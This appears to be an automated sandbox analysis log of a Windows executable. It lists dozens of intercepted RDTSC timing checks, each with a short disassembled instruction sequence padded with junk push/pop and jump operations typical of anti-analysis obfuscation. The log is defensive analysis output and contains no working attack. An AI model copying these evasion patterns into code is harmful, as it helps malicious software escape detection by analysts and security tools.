Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7CBBF3 second address: 7CBC33 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F632D23A042h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b push edx 0x0000000c push edx 0x0000000d pop edx 0x0000000e jmp 00007F632D23A043h 0x00000013 pop edx 0x00000014 push edi 0x00000015 pushad 0x00000016 popad 0x00000017 pop edi 0x00000018 jnp 00007F632D23A042h 0x0000001e jbe 00007F632D23A036h 0x00000024 push eax 0x00000025 push edx 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7D6532 second address: 7D6536 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7D666C second address: 7D6693 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F632D23A03Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ebx 0x0000000a push eax 0x0000000b push edx 0x0000000c jo 00007F632D23A03Eh 0x00000012 jnc 00007F632D23A036h 0x00000018 push eax 0x00000019 pop eax 0x0000001a push edi 0x0000001b push edx 0x0000001c pop edx 0x0000001d push eax 0x0000001e push edx 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7D6693 second address: 7D6698 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7D6698 second address: 7D66A1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 pushad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E12CA second address: 7E12F5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F632C74B8E0h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a push ebx 0x0000000b pushad 0x0000000c popad 0x0000000d pop ebx 0x0000000e jmp 00007F632C74B8DFh 0x00000013 push ebx 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E12F5 second address: 7E1314 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pushad 0x00000006 jmp 00007F632D23A047h 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E89B6 second address: 7E89BA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E89BA second address: 7E89FE instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jne 00007F632D23A042h 0x0000000e jmp 00007F632D23A046h 0x00000013 push edi 0x00000014 jmp 00007F632D23A03Dh 0x00000019 pop edi 0x0000001a popad 0x0000001b push eax 0x0000001c push edi 0x0000001d push eax 0x0000001e push edx 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E89FE second address: 7E8A0B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop edi 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b push ebx 0x0000000c pop ebx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E8454 second address: 7E8466 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F632D23A03Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a push esi 0x0000000b pop esi 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7EDCC3 second address: 7EDCC9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7EDCC9 second address: 7EDCCF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7EDCCF second address: 7EDCED instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F632C74B8E3h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7EDCED second address: 7EDCF1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7EDCF1 second address: 7EDD35 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F632C74B8DAh 0x00000007 jc 00007F632C74B8D6h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f jmp 00007F632C74B8E8h 0x00000014 pushad 0x00000015 jmp 00007F632C74B8E5h 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F93C7 second address: 7F93CB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F93CB second address: 7F93D1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F93D1 second address: 7F93D5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 801187 second address: 80118C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 80118C second address: 801198 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 pop eax 0x00000005 push edx 0x00000006 pop edx 0x00000007 popad 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8012AD second address: 8012B3 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 801443 second address: 801460 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F632D23A03Ah 0x00000007 jmp 00007F632D23A03Bh 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push edx 0x0000000f push esi 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 801728 second address: 80174D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F632C74B8E9h 0x00000009 jne 00007F632C74B8D6h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 801876 second address: 801880 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007F632D23A036h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8280D2 second address: 8280D6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 82A957 second address: 82A96F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push ecx 0x00000006 pop ecx 0x00000007 pushad 0x00000008 popad 0x00000009 jng 00007F632D23A036h 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 jl 00007F632D23A036h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 83F455 second address: 83F462 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop edi 0x00000009 push edi 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 83F5EE second address: 83F5F8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 popad 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 83F5F8 second address: 83F5FE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 83F76A second address: 83F78B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F632D23A044h 0x00000007 jnc 00007F632D23A036h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push ecx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 842E7E second address: 842E99 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F632C74B8E7h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8430D7 second address: 8430DB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8430DB second address: 8430E5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8431CD second address: 8431D3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 843443 second address: 843464 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F632C74B8E8h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 843464 second address: 8434AB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov eax, dword ptr [esp+04h] 0x0000000a pushad 0x0000000b pushad 0x0000000c jmp 00007F632D23A043h 0x00000011 jmp 00007F632D23A041h 0x00000016 popad 0x00000017 jmp 00007F632D23A03Dh 0x0000001c popad 0x0000001d mov eax, dword ptr [eax] 0x0000001f push eax 0x00000020 push edx 0x00000021 push eax 0x00000022 push edx 0x00000023 push ebx 0x00000024 pop ebx 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8434AB second address: 8434AF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8434AF second address: 8434B5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8434B5 second address: 8434D1 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F632C74B8D8h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov dword ptr [esp+04h], eax 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007F632C74B8DAh 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8434D1 second address: 8434D7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 846425 second address: 84642B instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 84642B second address: 846447 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F632D23A044h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C40294 second address: 4C4029A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C4029A second address: 4C4029E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C4029E second address: 4C402C4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F632C74B8DBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebp 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007F632C74B8E0h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C402C4 second address: 4C402D3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F632D23A03Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C403DF second address: 4C403F4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F632C74B8E1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C403F4 second address: 4C403FA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C403FA second address: 4C403FE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 75D6F1 second address: 75D6FB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jbe 00007F632D23A036h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 75D8B3 second address: 75D8B7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 75D8B7 second address: 75D8BD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C40472 second address: 4C404E3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov si, dx 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push ebx 0x0000000c pushad 0x0000000d call 00007F632C74B8E2h 0x00000012 mov ax, 5D31h 0x00000016 pop eax 0x00000017 mov si, di 0x0000001a popad 0x0000001b mov dword ptr [esp], ebp 0x0000001e pushad 0x0000001f movsx ebx, si 0x00000022 pushfd 0x00000023 jmp 00007F632C74B8E0h 0x00000028 jmp 00007F632C74B8E5h 0x0000002d popfd 0x0000002e popad 0x0000002f mov ebp, esp 0x00000031 jmp 00007F632C74B8DEh 0x00000036 pop ebp 0x00000037 push eax 0x00000038 push edx 0x00000039 pushad 0x0000003a mov cx, dx 0x0000003d mov esi, edx 0x0000003f popad 0x00000040 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C4056B second address: 4C405B4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushfd 0x00000005 jmp 00007F632D23A03Fh 0x0000000a sbb ecx, 1CD1682Eh 0x00000010 jmp 00007F632D23A049h 0x00000015 popfd 0x00000016 popad 0x00000017 popad 0x00000018 mov dword ptr [esp+04h], eax 0x0000001c pushad 0x0000001d mov ecx, ebx 0x0000001f mov eax, ebx 0x00000021 popad 0x00000022 pop eax 0x00000023 push eax 0x00000024 push edx 0x00000025 pushad 0x00000026 mov ebx, esi 0x00000028 pushad 0x00000029 popad 0x0000002a popad 0x0000002b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C405B4 second address: 4C405CC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F632C74B8E4h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C405CC second address: 4C405DF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 call 00007F639DF1DA54h 0x0000000d push 759227D0h 0x00000012 push dword ptr fs:[00000000h] 0x00000019 mov eax, dword ptr [esp+10h] 0x0000001d mov dword ptr [esp+10h], ebp 0x00000021 lea ebp, dword ptr [esp+10h] 0x00000025 sub esp, eax 0x00000027 push ebx 0x00000028 push esi 0x00000029 push edi 0x0000002a mov eax, dword ptr [759B0140h] 0x0000002f xor dword ptr [ebp-04h], eax 0x00000032 xor eax, ebp 0x00000034 push eax 0x00000035 mov dword ptr [ebp-18h], esp 0x00000038 push dword ptr [ebp-08h] 0x0000003b mov eax, dword ptr [ebp-04h] 0x0000003e mov dword ptr [ebp-04h], FFFFFFFEh 0x00000045 mov dword ptr [ebp-08h], eax 0x00000048 lea eax, dword ptr [ebp-10h] 0x0000004b mov dword ptr fs:[00000000h], eax 0x00000051 ret 0x00000052 push eax 0x00000053 push edx 0x00000054 push eax 0x00000055 push edx 0x00000056 pushad 0x00000057 popad 0x00000058 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C405DF second address: 4C405E5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C405E5 second address: 4C406D0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F632D23A041h 0x00000009 or si, 4B26h 0x0000000e jmp 00007F632D23A041h 0x00000013 popfd 0x00000014 pushfd 0x00000015 jmp 00007F632D23A040h 0x0000001a adc esi, 759C3CC8h 0x00000020 jmp 00007F632D23A03Bh 0x00000025 popfd 0x00000026 popad 0x00000027 pop edx 0x00000028 pop eax 0x00000029 and dword ptr [ebp-04h], 00000000h 0x0000002d pushad 0x0000002e call 00007F632D23A044h 0x00000033 call 00007F632D23A042h 0x00000038 pop ecx 0x00000039 pop ebx 0x0000003a pushfd 0x0000003b jmp 00007F632D23A040h 0x00000040 and ecx, 53BFF188h 0x00000046 jmp 00007F632D23A03Bh 0x0000004b popfd 0x0000004c popad 0x0000004d mov edx, dword ptr [ebp+0Ch] 0x00000050 pushad 0x00000051 mov al, 53h 0x00000053 pushfd 0x00000054 jmp 00007F632D23A041h 0x00000059 or cx, 90A6h 0x0000005e jmp 00007F632D23A041h 0x00000063 popfd 0x00000064 popad 0x00000065 mov esi, edx 0x00000067 jmp 00007F632D23A03Eh 0x0000006c mov al, byte ptr [edx] 0x0000006e push eax 0x0000006f push edx 0x00000070 push eax 0x00000071 push edx 0x00000072 pushad 0x00000073 popad 0x00000074 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C406D0 second address: 4C406D6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C406D6 second address: 4C406D0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F632D23A042h 0x00000009 jmp 00007F632D23A045h 0x0000000e popfd 0x0000000f pushfd 0x00000010 jmp 00007F632D23A040h 0x00000015 sub ecx, 402F9B08h 0x0000001b jmp 00007F632D23A03Bh 0x00000020 popfd 0x00000021 popad 0x00000022 pop edx 0x00000023 pop eax 0x00000024 inc edx 0x00000025 jmp 00007F632D23A046h 0x0000002a test al, al 0x0000002c jmp 00007F632D23A040h 0x00000031 jne 00007F632D239FA7h 0x00000037 mov al, byte ptr [edx] 0x00000039 push eax 0x0000003a push edx 0x0000003b push eax 0x0000003c push edx 0x0000003d pushad 0x0000003e popad 0x0000003f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C407A3 second address: 4C407F4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov bx, F36Eh 0x00000007 pushfd 0x00000008 jmp 00007F632C74B8DFh 0x0000000d jmp 00007F632C74B8E3h 0x00000012 popfd 0x00000013 popad 0x00000014 pop edx 0x00000015 pop eax 0x00000016 dec edi 0x00000017 pushad 0x00000018 mov esi, 35FE89E7h 0x0000001d popad 0x0000001e lea ebx, dword ptr [edi+01h] 0x00000021 push eax 0x00000022 push edx 0x00000023 push eax 0x00000024 push edx 0x00000025 jmp 00007F632C74B8E4h 0x0000002a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C407F4 second address: 4C407FA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C407FA second address: 4C4080B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F632C74B8DDh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C4080B second address: 4C40861 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov al, byte ptr [edi+01h] 0x0000000b pushad 0x0000000c push ebx 0x0000000d mov si, FB45h 0x00000011 pop eax 0x00000012 pushfd 0x00000013 jmp 00007F632D23A03Bh 0x00000018 sub si, 543Eh 0x0000001d jmp 00007F632D23A049h 0x00000022 popfd 0x00000023 popad 0x00000024 inc edi 0x00000025 push eax 0x00000026 push edx 0x00000027 pushad 0x00000028 mov bx, C99Eh 0x0000002c jmp 00007F632D23A03Fh 0x00000031 popad 0x00000032 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C40861 second address: 4C408BF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F632C74B8E9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 test al, al 0x0000000b jmp 00007F632C74B8DEh 0x00000010 jne 00007F639D423AC7h 0x00000016 jmp 00007F632C74B8E0h 0x0000001b mov ecx, edx 0x0000001d push eax 0x0000001e push edx 0x0000001f jmp 00007F632C74B8E7h 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C408BF second address: 4C408C5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C408C5 second address: 4C408FA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 shr ecx, 02h 0x0000000b jmp 00007F632C74B8E7h 0x00000010 rep movsd 0x00000012 rep movsd 0x00000014 rep movsd 0x00000016 rep movsd 0x00000018 rep movsd 0x0000001a push eax 0x0000001b push edx 0x0000001c pushad 0x0000001d jmp 00007F632C74B8DBh 0x00000022 mov edi, ecx 0x00000024 popad 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C408FA second address: 4C40900 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C40900 second address: 4C40910 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ecx, edx 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C40910 second address: 4C40914 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C40914 second address: 4C4091A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C4091A second address: 4C40946 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F632D23A03Dh 0x00000008 pushad 0x00000009 popad 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d and ecx, 03h 0x00000010 jmp 00007F632D23A03Ch 0x00000015 rep movsb 0x00000017 push eax 0x00000018 push edx 0x00000019 push eax 0x0000001a push edx 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C40946 second address: 4C4094A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C4094A second address: 4C40950 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C40950 second address: 4C409A7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F632C74B8E4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [ebp-04h], FFFFFFFEh 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 mov ecx, edx 0x00000015 pushfd 0x00000016 jmp 00007F632C74B8E9h 0x0000001b sbb eax, 649A3976h 0x00000021 jmp 00007F632C74B8E1h 0x00000026 popfd 0x00000027 popad 0x00000028 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C409A7 second address: 4C40A10 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F632D23A041h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, ebx 0x0000000b pushad 0x0000000c mov ax, 7BF3h 0x00000010 mov edx, esi 0x00000012 popad 0x00000013 mov ecx, dword ptr [ebp-10h] 0x00000016 pushad 0x00000017 push esi 0x00000018 mov ax, bx 0x0000001b pop ebx 0x0000001c mov di, ax 0x0000001f popad 0x00000020 mov dword ptr fs:[00000000h], ecx 0x00000027 push eax 0x00000028 push edx 0x00000029 pushad 0x0000002a call 00007F632D23A047h 0x0000002f pop esi 0x00000030 call 00007F632D23A049h 0x00000035 pop ecx 0x00000036 popad 0x00000037 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C40A10 second address: 4C40A4D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F632C74B8DEh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ecx 0x0000000a jmp 00007F632C74B8E0h 0x0000000f pop edi 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007F632C74B8E7h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C40A4D second address: 4C40A53 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C40A53 second address: 4C40A57 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
